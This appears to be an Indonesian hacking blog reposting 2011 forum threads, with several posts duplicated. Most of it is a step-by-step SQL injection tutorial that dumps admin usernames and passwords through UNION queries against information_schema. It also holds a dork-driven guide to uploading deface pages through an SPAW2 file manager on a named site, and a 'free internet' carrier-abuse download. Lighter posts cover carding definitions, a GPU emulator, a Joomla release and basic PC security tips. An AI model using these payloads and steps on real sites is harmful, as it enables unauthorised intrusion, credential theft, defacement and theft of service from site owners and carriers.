SQL injection adalah sebuah aksi hacking yang dilakukan di aplikasi client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi clien dan juga merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk penyimpanan data.
Yang perlu di ketahui sebelum sql injection pada mysql:
karakter: ' atau -
comments: /* atau --
information_schema untuk versi: mysql versi 5.x , tidak support untuk mysql versi 4.x
===========
=step Satu:=
===========
carilah target
misal: [site]/berita.php?id=100
Tambahkan karakter ' pada akhir url atau menambahkan karakter "-" untuk melihat apakah ada pesan error.
contoh:
[site]/berita.php?id=100' atau
[site]/berita.php?id=-100
ehingga muncul pesan error seperti berikut (masih bnyak lagi):
==========
=step Dua:=
==========
mencari dan menghitung jumlah table yang ada dalam databasenya...
gunakan perintah : order by
contoh:
[site]/berita.php?id=-100+order+by+1-- atau
[site]/berita.php?id=-100+order+by+1/*
ceklah secara step by step (satupersatu)...
misal:
[site]/berita.php?id=-100+order+by+1--
[site]/berita.php?id=-100+order+by+2--
[site]/berita.php?id=-100+order+by+3--
[site]/berita.php?id=-100+order+by+4--
sehingga muncul error atau hilang pesan error...
misal: [site]/berita.php?id=-100+order+by+9--
berarti yang kita ambil adalah sampai angka 8
menjadi [site]/berita.php?id=-100+order+by+8--
===========
=step Tiga:=
===========
untuk mengeluarkan angka berapa yang muncul gunakan perintah union
karena tadi error sampai angka 9
maka: [site]/berita.php?id=-100+union+select+1,2,3,4,5,6,7,8--
ok seumpama yg keluar angka 5
gunakan perintah version() atau @@version untuk mengecek versi sql yg diapakai masukan perintah tsb pada nagka yg keluar tadi
misal: [site]/berita.php?id=-100+union+select+1,2,3,4,version(),6,7,8-- atau
[site]/berita.php?id=-100+union+select+1,2,3,4,@@version,6,7,8--
lihat versi yg digunakan seumpama versi 4 tinggalkan saja karena dalam ver 4 ini kita harus menebak sendiri table n column yg ada pada web tersebut karena tidak bisa menggunakan perintah From+Information_schema..
untuk versi 5 berarti anda beruntung tak perlu menebak table n column seperti ver 4 karena di ver 5 ini bisa menggunakan perintah From+Information_schema..
============
=step Empat:=
============
untuk menampilkan table yg ada pada web tsb adalah
perintah table_name >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.tables/* >>> dimasukan setelah angka terakhir
Code:
[site]/berita.php?id=-100+union+select+1,2,3,4,table_name,6,7,8+from+information_schema.tables--
seumpama table yang muncul adalah "admin"
===========
=step Lima:=
===========
untuk menampilkan semua isi dari table tsb adalah
perintah group_concat(table_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.tables+where+table_schema=database() >>> dimasukan setelah angka terakhir
[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(table_name),6,7,8+from+information_schema.tables+where+table_schema=database()--
=============
= step Enam: =
=============
perintah group_concat(column_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.columns+where+table_name=0xhexa-- >>> dimasukan setelah angka terakhir
[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema.columns+where+table_name=0xhexa--
pada tahap ini kamu wajib mengextrak kata pada isi table menjadi hexadecimal yaitu dengan cara mengkonversinya
website yg digunakan untuk konversi :
http://www.v3n0m.net/ascii.htm
contoh kata yg ingin di konversi yaitu admin maka akan menjadi 61646D696E
[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema.columns+where+table_name=0x61646D696E--
============
=step Tujuh:=
============
memunculkan apa yg tadi telah dikeluarkan dari table yaitu dengan cara
perintah concat_ws(0x3a,hasil isi column yg mau dikeluarkan) >>> dimasukan pada angka yg keluar tadi
perintah +from+(nama table berasal) >>> dimasukan setelah angka terakhir
Contoh :
[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,hasil isi column),6,7,8+from+(nama table berasal)--
contoh kata yang keluar adalah id,username,password
Contoh :
[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,id,username,password),6,7,8+from+admin--
==============
= step Delapan:=
==============
tahap terakhir mencari halam admin atau login .
http://hacker-newbie.org/showthread.php?tid=97
My SQL Injection Step by Step
Pengertian sql injection:
SQL injection adalah sebuah aksi hacking yang dilakukan di aplikasi client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi clien dan juga merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk penyimpanan data.
Yang perlu di ketahui sebelum sql injection pada mysql:
karakter: ' atau -
comments: /* atau --
information_schema untuk versi: mysql versi 5.x , tidak support untuk mysql versi 4.x
===========
=step Satu:=
===========
carilah target
misal: [site]/berita.php?id=100
Tambahkan karakter ' pada akhir url atau menambahkan karakter "-" untuk melihat apakah ada pesan error.
contoh:
[site]/berita.php?id=100' atau
[site]/berita.php?id=-100
ehingga muncul pesan error seperti berikut (masih bnyak lagi):
==========
=step Dua:=
==========
mencari dan menghitung jumlah table yang ada dalam databasenya...
gunakan perintah : order by
contoh:
[site]/berita.php?id=-100+order+by+1-- atau
[site]/berita.php?id=-100+order+by+1/*
ceklah secara step by step (satupersatu)...
misal:
[site]/berita.php?id=-100+order+by+1--
[site]/berita.php?id=-100+order+by+2--
[site]/berita.php?id=-100+order+by+3--
[site]/berita.php?id=-100+order+by+4--
sehingga muncul error atau hilang pesan error...
misal: [site]/berita.php?id=-100+order+by+9--
berarti yang kita ambil adalah sampai angka 8
menjadi [site]/berita.php?id=-100+order+by+8--
===========
=step Tiga:=
===========
untuk mengeluarkan angka berapa yang muncul gunakan perintah union
karena tadi error sampai angka 9
maka: [site]/berita.php?id=-100+union+select+1,2,3,4,5,6,7,8--
ok seumpama yg keluar angka 5
gunakan perintah version() atau @@version untuk mengecek versi sql yg diapakai masukan perintah tsb pada nagka yg keluar tadi
misal: [site]/berita.php?id=-100+union+select+1,2,3,4,version(),6,7,8-- atau
[site]/berita.php?id=-100+union+select+1,2,3,4,@@version,6,7,8--
lihat versi yg digunakan seumpama versi 4 tinggalkan saja karena dalam ver 4 ini kita harus menebak sendiri table n column yg ada pada web tersebut karena tidak bisa menggunakan perintah From+Information_schema..
untuk versi 5 berarti anda beruntung tak perlu menebak table n column seperti ver 4 karena di ver 5 ini bisa menggunakan perintah From+Information_schema..
============
=step Empat:=
============
untuk menampilkan table yg ada pada web tsb adalah
perintah table_name >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.tables/* >>> dimasukan setelah angka terakhir
Code:
[site]/berita.php?id=-100+union+select+1,2,3,4,table_name,6,7,8+from+information_schema.tables--
seumpama table yang muncul adalah "admin"
===========
=step Lima:=
===========
untuk menampilkan semua isi dari table tsb adalah
perintah group_concat(table_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.tables+where+table_schema=database() >>> dimasukan setelah angka terakhir
[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(table_name),6,7,8+from+information_schema.tables+where+table_schema=database()--
=============
= step Enam: =
=============
perintah group_concat(column_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.columns+where+table_name=0xhexa-- >>> dimasukan setelah angka terakhir
[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema.columns+where+table_name=0xhexa--
pada tahap ini kamu wajib mengextrak kata pada isi table menjadi hexadecimal yaitu dengan cara mengkonversinya
website yg digunakan untuk konversi :
http://www.v3n0m.net/ascii.htm
contoh kata yg ingin di konversi yaitu admin maka akan menjadi 61646D696E
[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema.columns+where+table_name=0x61646D696E--
============
=step Tujuh:=
============
memunculkan apa yg tadi telah dikeluarkan dari table yaitu dengan cara
perintah concat_ws(0x3a,hasil isi column yg mau dikeluarkan) >>> dimasukan pada angka yg keluar tadi
perintah +from+(nama table berasal) >>> dimasukan setelah angka terakhir
Contoh :
[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,hasil isi column),6,7,8+from+(nama table berasal)--
contoh kata yang keluar adalah id,username,password
Contoh :
[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,id,username,password),6,7,8+from+admin--
==============
= step Delapan:=
==============
tahap terakhir mencari halam admin atau login .
http://hacker-newbie.org/showthread.php?tid=97
SQL injection adalah sebuah aksi hacking yang dilakukan di aplikasi client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi clien dan juga merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk penyimpanan data.
Yang perlu di ketahui sebelum sql injection pada mysql:
karakter: ' atau -
comments: /* atau --
information_schema untuk versi: mysql versi 5.x , tidak support untuk mysql versi 4.x
===========
=step Satu:=
===========
carilah target
misal: [site]/berita.php?id=100
Tambahkan karakter ' pada akhir url atau menambahkan karakter "-" untuk melihat apakah ada pesan error.
contoh:
[site]/berita.php?id=100' atau
[site]/berita.php?id=-100
ehingga muncul pesan error seperti berikut (masih bnyak lagi):
==========
=step Dua:=
==========
mencari dan menghitung jumlah table yang ada dalam databasenya...
gunakan perintah : order by
contoh:
[site]/berita.php?id=-100+order+by+1-- atau
[site]/berita.php?id=-100+order+by+1/*
ceklah secara step by step (satupersatu)...
misal:
[site]/berita.php?id=-100+order+by+1--
[site]/berita.php?id=-100+order+by+2--
[site]/berita.php?id=-100+order+by+3--
[site]/berita.php?id=-100+order+by+4--
sehingga muncul error atau hilang pesan error...
misal: [site]/berita.php?id=-100+order+by+9--
berarti yang kita ambil adalah sampai angka 8
menjadi [site]/berita.php?id=-100+order+by+8--
===========
=step Tiga:=
===========
untuk mengeluarkan angka berapa yang muncul gunakan perintah union
karena tadi error sampai angka 9
maka: [site]/berita.php?id=-100+union+select+1,2,3,4,5,6,7,8--
ok seumpama yg keluar angka 5
gunakan perintah version() atau @@version untuk mengecek versi sql yg diapakai masukan perintah tsb pada nagka yg keluar tadi
misal: [site]/berita.php?id=-100+union+select+1,2,3,4,version(),6,7,8-- atau
[site]/berita.php?id=-100+union+select+1,2,3,4,@@version,6,7,8--
lihat versi yg digunakan seumpama versi 4 tinggalkan saja karena dalam ver 4 ini kita harus menebak sendiri table n column yg ada pada web tersebut karena tidak bisa menggunakan perintah From+Information_schema..
untuk versi 5 berarti anda beruntung tak perlu menebak table n column seperti ver 4 karena di ver 5 ini bisa menggunakan perintah From+Information_schema..
============
=step Empat:=
============
untuk menampilkan table yg ada pada web tsb adalah
perintah table_name >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.tables/* >>> dimasukan setelah angka terakhir
Code:
[site]/berita.php?id=-100+union+select+1,2,3,4,table_name,6,7,8+from+information_schema.tables--
seumpama table yang muncul adalah "admin"
===========
=step Lima:=
===========
untuk menampilkan semua isi dari table tsb adalah
perintah group_concat(table_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.tables+where+table_schema=database() >>> dimasukan setelah angka terakhir
[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(table_name),6,7,8+from+information_schema.tables+where+table_schema=database()--
=============
= step Enam: =
=============
perintah group_concat(column_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.columns+where+table_name=0xhexa-- >>> dimasukan setelah angka terakhir
[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema.columns+where+table_name=0xhexa--
pada tahap ini kamu wajib mengextrak kata pada isi table menjadi hexadecimal yaitu dengan cara mengkonversinya
website yg digunakan untuk konversi :
http://www.v3n0m.net/ascii.htm
contoh kata yg ingin di konversi yaitu admin maka akan menjadi 61646D696E
[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema.columns+where+table_name=0x61646D696E--
============
=step Tujuh:=
============
memunculkan apa yg tadi telah dikeluarkan dari table yaitu dengan cara
perintah concat_ws(0x3a,hasil isi column yg mau dikeluarkan) >>> dimasukan pada angka yg keluar tadi
perintah +from+(nama table berasal) >>> dimasukan setelah angka terakhir
Contoh :
[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,hasil isi column),6,7,8+from+(nama table berasal)--
contoh kata yang keluar adalah id,username,password
Contoh :
[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,id,username,password),6,7,8+from+admin--
==============
= step Delapan:=
==============
tahap terakhir mencari halam admin atau login .
http://hacker-newbie.org/showthread.php?tid=97
Pengertian Carding, Hacking, Cracking, dan Defacing
CARDING
Carding adalah berbelanja menggunakan nomor dan identitas kartu kredit orang lain, yang diperoleh secara ilegal, biasanya dengan mencuri data di internet. Sebutan pelakunya adalah Carder. Sebutan lain untuk kejahatan jenis ini adalah cyberfroud alias penipuan di dunia maya. Menurut riset Clear Commerce Inc, perusahaan teknologi informasi yang berbasis di Texas – AS , Indonesia memiliki carder terbanyak kedua di dunia setelah Ukrania. Sebanyak 20 persen transaksi melalui internet dari Indonesia adalah hasil carding. Akibatnya, banyak situs belanja online yang memblokir IP atau internet protocol (alamat komputer internet) asal Indonesia. Kalau kita belanja online, formulir pembelian online shop
tidak mencantumkan nama negara Indonesia. Artinya konsumen Indonesia tidak diperbolehkan belanja di situs itu.
Menurut pengamatan ICT Watch, lembaga yang mengamati dunia internet di Indonesia, para carder kini beroperasi semakin jauh, dengan melakukan penipuan melalui ruang-ruang chatting di mIRC. Caranya para carder menawarkan barang-barang seolah-olah hasil carding-nya dengan harga murah di channel. Misalnya, laptop dijual seharga Rp 1.000.000. Setelah ada yang berminat, carder meminta pembeli mengirim uang ke rekeningnya. Uang didapat, tapi barang tak pernah dikirimkan.
HACKING
Hacking adalah kegiatan menerobos program komputer milik orang/pihak lain. Hacker adalah orang yang gemar ngoprek komputer, memiliki keahlian membuat dan membaca program tertentu, dan terobsesi mengamati keamanan (security)-nya. Hacker memiliki wajah ganda; ada yang budiman ada yang pencoleng.
Hacker Budiman memberi tahu kepada programer yang komputernya diterobos, akan adanya kelemahan-kelemahan pada program yang dibuat, sehingga bisa “bocorâ€, agar segera diperbaiki. Sedangkan, hacker pencoleng, menerobos program orang lain untuk merusak dan mencuri datanya.
CRACKING
Cracking adalah hacking untuk tujuan jahat. Sebutan untuk cracker adalah hacker bertopi hitam (black hat hacker). Berbeda dengan carder yang hanya mengintip kartu kredit, cracker mengintip simpanan para nasabah di berbagai bank atau pusat data sensitif lainnya untuk keuntungan diri sendiri. Meski sama-sama menerobos keamanan komputer orang lain, hacker lebih fokus pada prosesnya. Sedangkan cracker lebih fokus untuk menikmati hasilnya.
DEFACING
Defacing adalah kegiatan mengubah halaman situs/website pihak lain, seperti yang terjadi pada situs Menkominfo dan Partai Golkar, BI baru-baru ini dan situs KPU saat pemilu 2004 lalu. Tindakan deface ada yang semata-mata iseng, unjuk kebolehan, pamer kemampuan membuat program, tapi ada juga yang jahat, untuk mencuri data dan dijual kepada pihak lain.
http://hacker-newbie.org/showthread.php?tid=5088
Carding adalah berbelanja menggunakan nomor dan identitas kartu kredit orang lain, yang diperoleh secara ilegal, biasanya dengan mencuri data di internet. Sebutan pelakunya adalah Carder. Sebutan lain untuk kejahatan jenis ini adalah cyberfroud alias penipuan di dunia maya. Menurut riset Clear Commerce Inc, perusahaan teknologi informasi yang berbasis di Texas – AS , Indonesia memiliki carder terbanyak kedua di dunia setelah Ukrania. Sebanyak 20 persen transaksi melalui internet dari Indonesia adalah hasil carding. Akibatnya, banyak situs belanja online yang memblokir IP atau internet protocol (alamat komputer internet) asal Indonesia. Kalau kita belanja online, formulir pembelian online shop
tidak mencantumkan nama negara Indonesia. Artinya konsumen Indonesia tidak diperbolehkan belanja di situs itu.
Menurut pengamatan ICT Watch, lembaga yang mengamati dunia internet di Indonesia, para carder kini beroperasi semakin jauh, dengan melakukan penipuan melalui ruang-ruang chatting di mIRC. Caranya para carder menawarkan barang-barang seolah-olah hasil carding-nya dengan harga murah di channel. Misalnya, laptop dijual seharga Rp 1.000.000. Setelah ada yang berminat, carder meminta pembeli mengirim uang ke rekeningnya. Uang didapat, tapi barang tak pernah dikirimkan.
HACKING
Hacking adalah kegiatan menerobos program komputer milik orang/pihak lain. Hacker adalah orang yang gemar ngoprek komputer, memiliki keahlian membuat dan membaca program tertentu, dan terobsesi mengamati keamanan (security)-nya. Hacker memiliki wajah ganda; ada yang budiman ada yang pencoleng.
Hacker Budiman memberi tahu kepada programer yang komputernya diterobos, akan adanya kelemahan-kelemahan pada program yang dibuat, sehingga bisa “bocorâ€, agar segera diperbaiki. Sedangkan, hacker pencoleng, menerobos program orang lain untuk merusak dan mencuri datanya.
CRACKING
Cracking adalah hacking untuk tujuan jahat. Sebutan untuk cracker adalah hacker bertopi hitam (black hat hacker). Berbeda dengan carder yang hanya mengintip kartu kredit, cracker mengintip simpanan para nasabah di berbagai bank atau pusat data sensitif lainnya untuk keuntungan diri sendiri. Meski sama-sama menerobos keamanan komputer orang lain, hacker lebih fokus pada prosesnya. Sedangkan cracker lebih fokus untuk menikmati hasilnya.
DEFACING
Defacing adalah kegiatan mengubah halaman situs/website pihak lain, seperti yang terjadi pada situs Menkominfo dan Partai Golkar, BI baru-baru ini dan situs KPU saat pemilu 2004 lalu. Tindakan deface ada yang semata-mata iseng, unjuk kebolehan, pamer kemampuan membuat program, tapi ada juga yang jahat, untuk mencuri data dan dijual kepada pihak lain.
http://hacker-newbie.org/showthread.php?tid=5088
Selasa, 06 Desember 2011
Tutorial Deface Asp
google dork : inurl:"spaw2/uploads/files/"
setelah mencari kesana kemari misalnya kita udah dpt target..
example :
Code:
http://www.corporation22.com/cms/spaw2/uploads/files/Solar_modules/HS-122st.pdf
gimana lagi nih? okeh..
ganti spaw2/uploads/files/Solar_modules/HS-122st.pdf
menjadi
spaw2/dialogs/dialog.php?module=spawfm&dialog=spawfm&theme=spaw2⟨=es&charset=&scid=cf73b58bb51c52235494da752d98cac9&type=files
sehingga menjadi
http://www.corporation22.com/cms/spaw2/dialogs/dialog.php?module=spawfm&dialog=spawfm&theme=spaw2%E2%8C%A9=es&charset=&scid=cf73b58bb51c52235494da752d98cac9&type=files
hmm gimana buat upload file deface kita??
begini
lihat pilihan folder di atas, pada link target yang telah di exploit Spaw td, kemudian ubah "images" menjadi "files"
seperti gambar :
![[Image: 216711_115497381863480_100002096566712_1...9466_a.jpg]](http://photos-c.ak.fbcdn.net/hphotos-ak-ash4/216711_115497381863480_100002096566712_140922_479466_a.jpg)
kemudian upload
![[Image: 207321_115498021863416_100002096566712_1...6993_a.jpg]](http://photos-c.ak.fbcdn.net/hphotos-ak-snc6/207321_115498021863416_100002096566712_140936_6066993_a.jpg)
setelah selesai klik browse lalu upload file deface kalian..
seperti gambar :
![[Image: 216507_115497471863471_100002096566712_1...7884_a.jpg]](http://photos-e.ak.fbcdn.net/hphotos-ak-snc6/216507_115497471863471_100002096566712_140923_6677884_a.jpg)
kalo udah di upload gimana lagi supaya muncul hasil deface kita??
begini,
lihat dulu nama file yg kalian upload td apa.. setelah ketemu lihat disamping kanan kemudian klik [download files]
![[Image: 217017_115499915196560_100002096566712_1...4444_a.jpg]](http://photos-d.ak.fbcdn.net/hphotos-ak-snc6/217017_115499915196560_100002096566712_140985_1524444_a.jpg)
dan berikut hasil dari kerjaan diatas td :)
![[Image: 217060_115499768529908_100002096566712_1...3884_a.jpg]](http://photos-f.ak.fbcdn.net/hphotos-ak-snc6/217060_115499768529908_100002096566712_140984_5643884_a.jpg)
semoga sukses
http://medancyberteam.web.id/forum/showthread.php?tid=27
setelah mencari kesana kemari misalnya kita udah dpt target..
example :
Code:
http://www.corporation22.com/cms/spaw2/uploads/files/Solar_modules/HS-122st.pdf
gimana lagi nih? okeh..
ganti spaw2/uploads/files/Solar_modules/HS-122st.pdf
menjadi
spaw2/dialogs/dialog.php?module=spawfm&dialog=spawfm&theme=spaw2⟨=es&charset=&scid=cf73b58bb51c52235494da752d98cac9&type=files
sehingga menjadi
http://www.corporation22.com/cms/spaw2/dialogs/dialog.php?module=spawfm&dialog=spawfm&theme=spaw2%E2%8C%A9=es&charset=&scid=cf73b58bb51c52235494da752d98cac9&type=files
hmm gimana buat upload file deface kita??
begini
lihat pilihan folder di atas, pada link target yang telah di exploit Spaw td, kemudian ubah "images" menjadi "files"
seperti gambar :
kemudian upload
setelah selesai klik browse lalu upload file deface kalian..
seperti gambar :
kalo udah di upload gimana lagi supaya muncul hasil deface kita??
begini,
lihat dulu nama file yg kalian upload td apa.. setelah ketemu lihat disamping kanan kemudian klik [download files]
dan berikut hasil dari kerjaan diatas td :)
semoga sukses
http://medancyberteam.web.id/forum/showthread.php?tid=27
Senin, 05 Desember 2011
Menjadikan RAM/Flashdisk memperbesar VGA
Dengan menggunakan tool 3D Analyze ini dpt meningkatkan kinerja VGA komputer kita.
Jadi tool ini sangat cocok buat ente2 yang ingin bermain game yg mempunyai performa grafik yang tinggi tapi kita tak harus mempunyai komputer yang canggih.
contoh gamblangnya kayak gini...!
Ente mempunyai spesifikasi komputer sebagai berikut :
1GB DDR RAM
Pentium 4 (2.4 GHz)
Onboard Graphics Card (Intel) with 64 MB graphics memory
jika ente pake 3D Analyze (Virtual Graphics Emulator) bakalan jadi kek gini:
1GB DDR RAM
Pentium 4 (2.4 Ghz)
NVIDIA GeForce FX 5900 Ultra with 128 MB graphics memory.
Apa yang berubah masbro??? udah pada tau kan?? Okelah kalau begitu, kita lanjut cara pakainya...!
1. Jalankan aplikasi 3D Analyze yang sudah ente download.
2. Cari file game yang akan ente mainkan dengan meng-klik menu SELECT. Bila sudah klik Open.
3. Kemudian setting HARDWARE LIMITS(cap bits) Dicentang Semuanya ya..
4. Seting pixel and vertex shader. yang dicentang > force max.pixel shader version 1.4
> force high precision pixel shader
> save shader to file (shaders out)
5. Setting ANTI DETECT MODE centang keduanya
6. Bila sudah, jangan lupa klik save batch file
7. Selesai
Jadi intinya software ini bekerja dengan cara mengambil memory RAM kemudian dijadikan virtual VGA.
download barangnya DISINI
http://hacker-newbie.org/showthread.php?tid=9976
Jadi tool ini sangat cocok buat ente2 yang ingin bermain game yg mempunyai performa grafik yang tinggi tapi kita tak harus mempunyai komputer yang canggih.
contoh gamblangnya kayak gini...!
Ente mempunyai spesifikasi komputer sebagai berikut :
1GB DDR RAM
Pentium 4 (2.4 GHz)
Onboard Graphics Card (Intel) with 64 MB graphics memory
jika ente pake 3D Analyze (Virtual Graphics Emulator) bakalan jadi kek gini:
1GB DDR RAM
Pentium 4 (2.4 Ghz)
NVIDIA GeForce FX 5900 Ultra with 128 MB graphics memory.
Apa yang berubah masbro??? udah pada tau kan?? Okelah kalau begitu, kita lanjut cara pakainya...!
1. Jalankan aplikasi 3D Analyze yang sudah ente download.
2. Cari file game yang akan ente mainkan dengan meng-klik menu SELECT. Bila sudah klik Open.
3. Kemudian setting HARDWARE LIMITS(cap bits) Dicentang Semuanya ya..
4. Seting pixel and vertex shader. yang dicentang > force max.pixel shader version 1.4
> force high precision pixel shader
> save shader to file (shaders out)
5. Setting ANTI DETECT MODE centang keduanya
6. Bila sudah, jangan lupa klik save batch file
7. Selesai
Jadi intinya software ini bekerja dengan cara mengambil memory RAM kemudian dijadikan virtual VGA.
download barangnya DISINI
http://hacker-newbie.org/showthread.php?tid=9976
Internet Gratis di 3 (Three) For PC
Bagi yang mau Internetan gratis dengan kartu 3 di PC
Silahkan download applikasi ini :)
Download : http://www.mediafire.com/?hbhjx1l38uz5h6c
pass : www.game-zone-indonesia.blogspot.com
![[Image: captureuha.jpg]](http://img18.imageshack.us/img18/827/captureuha.jpg)
NB : Biar gag ketendang ( DC )
- Start
- Run
- ktik services.msc
- DISABLE propertiesnya:
* DHCP CLIENT
* DNS CLIENT
* IPSEC
* NETWORK LOCATION AWARENESS (NLA)
* SSDP
* WINDOWS TIME
* WORK STATION
.
- UNCHECK use default gateway
dial up > properties > Networking > properties > Advanced > UNCHECK use default gateway
http://hacker-newbie.org/showthread.php?tid=11290
Silahkan download applikasi ini :)
Download : http://www.mediafire.com/?hbhjx1l38uz5h6c
pass : www.game-zone-indonesia.blogspot.com
NB : Biar gag ketendang ( DC )
- Start
- Run
- ktik services.msc
- DISABLE propertiesnya:
* DHCP CLIENT
* DNS CLIENT
* IPSEC
* NETWORK LOCATION AWARENESS (NLA)
* SSDP
* WINDOWS TIME
* WORK STATION
.
- UNCHECK use default gateway
dial up > properties > Networking > properties > Advanced > UNCHECK use default gateway
http://hacker-newbie.org/showthread.php?tid=11290
CMS Joomla 1.7.3
Joomla baru saja meluncurkan content management system (CMS) terbarunya, yakni Joomla 1.7.3. Update terbaru ini datang dengan berbagai perbaikan, terutama pada sistem keamanannya.
Berikut ini adalah beberapa fitur yang dimiliki oleh Joomla 1.7.3:
- User dapat menyimpan copy template style
- Perbaikan masalah redirect saat login
- Perbaikan pada kode end of line
- Page break kini dapat berfungsi dengan benar saat ‘tabel of contents’ disetting hide
- Perbaikan pada Jdatabasequery
- Problem saat menginstal bahasa asing sudah diperbaiki
- Perubahan back-end language kini hanya bekerja saat diset default
- Permasalahan preg_quote pada function utf8_ireplace telah diperbaiki.
Selain fitur-fitur di atas, terdapat banyak fitur lain yang sudah diperbaiki oleh pihak Joomla. Total terdapat 77 perbaikan serta dua masalah keamanan. Untuk lebih lengkapnya, dapat dilihat pada situs resmi Joomla.
Download
Berikut ini adalah beberapa fitur yang dimiliki oleh Joomla 1.7.3:
- User dapat menyimpan copy template style
- Perbaikan masalah redirect saat login
- Perbaikan pada kode end of line
- Page break kini dapat berfungsi dengan benar saat ‘tabel of contents’ disetting hide
- Perbaikan pada Jdatabasequery
- Problem saat menginstal bahasa asing sudah diperbaiki
- Perubahan back-end language kini hanya bekerja saat diset default
- Permasalahan preg_quote pada function utf8_ireplace telah diperbaiki.
Selain fitur-fitur di atas, terdapat banyak fitur lain yang sudah diperbaiki oleh pihak Joomla. Total terdapat 77 perbaikan serta dua masalah keamanan. Untuk lebih lengkapnya, dapat dilihat pada situs resmi Joomla.
Download
Sabtu, 03 Desember 2011
Langkah Utama Mengamankan Komputer
1. Upgrade Sistem Operasi
Meng-upgrade sistem operasi ke yang lebih baru, setidaknya tetap mengikuti program terakhir yang disediakan.
Pengguna Microsoft Windows XP meng-upgrade ke Microsoft Windows XP Service Pack (SP) 2.
Untuk pengguna Microsoft Windows 95/98/ME/NT, disarankan meng-upgrade ke yang lebih tinggi.
Menutup celah keamanan pada sistem operasi dengan memasang security patch terkini.
2. Gunakan Firewall
Firewall membantu melindungi komputer dari hacker jahat, worm, dan beberapa spyware.
Gunakan Windows Firewall (tersedia pada Windows XP SP2) atau produk-produk firewall lainnya baik yang harus beli maupun yang gratis. Beberapa program firewall komersial adalah ZoneAlarm, Agnitum Outpost Personal Firewall, Checkpoint Firewall, dll. Sedangkan yang gratis seperti Comodo Personal Firewall, Sunbelt Personal Firewall,
Untuk pengguna internet broadband, pastikan router sudah memiliki firewall.
3. Install Antivirus
Antivirus melindungi kita dari akses virus pada komputer dan serangan-serangan jahat lain seperti trojan dan worm. Antivirus bisa mencari virus, trojan, dan worm yang berdiam di komputer dan melakukan pemindai terhadap email yang masuk maupun email yang keluar. Yang terpenting adalah:
Pastikan Antivirus anda selalu diset untuk meng-update pengetahuannya tentang virus-virus terbaru.
Pastikan juga program Antivirus anda adalah versi yang terakhir.
Jangan membuka attachment email dari orang yang tidak anda kenal.
Lakukan pemindai (scanning) terhadap removable device seperti hard disk external, USB disk, maupun CD/DVD yang terkadang mengaktifkan auto-run.
4. Selalu Update
Sama seperti sistem operasi, piranti lunak yang terus di-update akan terbebas dari masalah kelemahan keamanan. Selain itu, gunakan program-program terkini agar terus mengikuti perkembangan keamanan program.
5. Mencegah Spyware
Spyware adalah program kecil yang hinggap di komputer kita untuk merekam dan mengirimkan semua data-data dan kegiatan yang terjadi di komputer, tentunya hanya kegiatan yang diinginkan si pembuatlah yang direkam, seperti aktivitas keyboard oleh keylogger.
Mencegah spyware dapat dilakukan dengan:
Waspada terhadap file yang anda buka atau download lewat internet atau email.
Jangan menginstall program yang tidak jelas pembuatnya.
Jangan sembarangan berselancar ke situs yang memiliki tingkat risiko tinggi. Sebagai contoh: Banyak situs porno yang mengandung spyware.
Menghilangkan spyware bisa menggunakan program AntiSpyware seperti Windows Defender, Ad-Aware, Spybot Search & Destroy, dll lalu lakukan pemindai di seluruh komputer. Yakinkan program selalu melakukan update otomatis dan memindai komputer setiap hari sebelum anda memulai kerja.
6. Amankan Koneksi Nirkabel (Wireless)
Apabila anda memiliki jaringan nirkabel, selalu ikuti dokumentasi instalasi dan :
Gunakan MAC filtering untuk membatasi penggunaan pada komputer yang dipercaya saja.
Gunakan enkripsi WPA atau WPA2 yang lebih aman untuk mengurangi risiko penyadapan.
7. Membatasi Resiko Email Spam
Ada beberapa hal yang dapat dilakukan untuk mengurangi resiko terhadap spam:
Jangan meng-klik apapun terhadap email yang telah diidentifikasi sebagai spam.
Pisahkan antara email pribadi / kantor dengan email yang digunakan khusus untuk melakukan registrasi online.
Gunakan email client yang sudah terintegrasi dengan spam filter atau pasang progra
8. Backup
Selalu backup file-file penting dan simpan di tempat lain yang aman, pastikan file-file terbackup dengan baik dan tidak mengandung malware.
9. Keamanan Fisik
- Buat tanda ?keamanan? pada komputer anda dan benda lain yang anda anggap penting, agar selalu ingat bahwa barang tersebut butuh keamanan.
- Pastikan tidak meninggalkan catatan-catatan kecil di sembarang tempat.
- Catat setiap nomor serial dan jangan sampai orang lain tahu.
- Pastikan pintu rumah, jendela, garasi terkunci dengan baik. Alat pendeteksi gerak dan alarm meningkatkan pengamanan rumah anda.
- jangan biarkan komputer terlihat dari luar rumah, tentu akan mengundang pencuri.
- Pakai kunci pengaman tambahan untuk laptop, misal: fingerprint, usb dongle, dll.
- Gunakan tas yang memiliki pengaman tambahan untuk laptop.
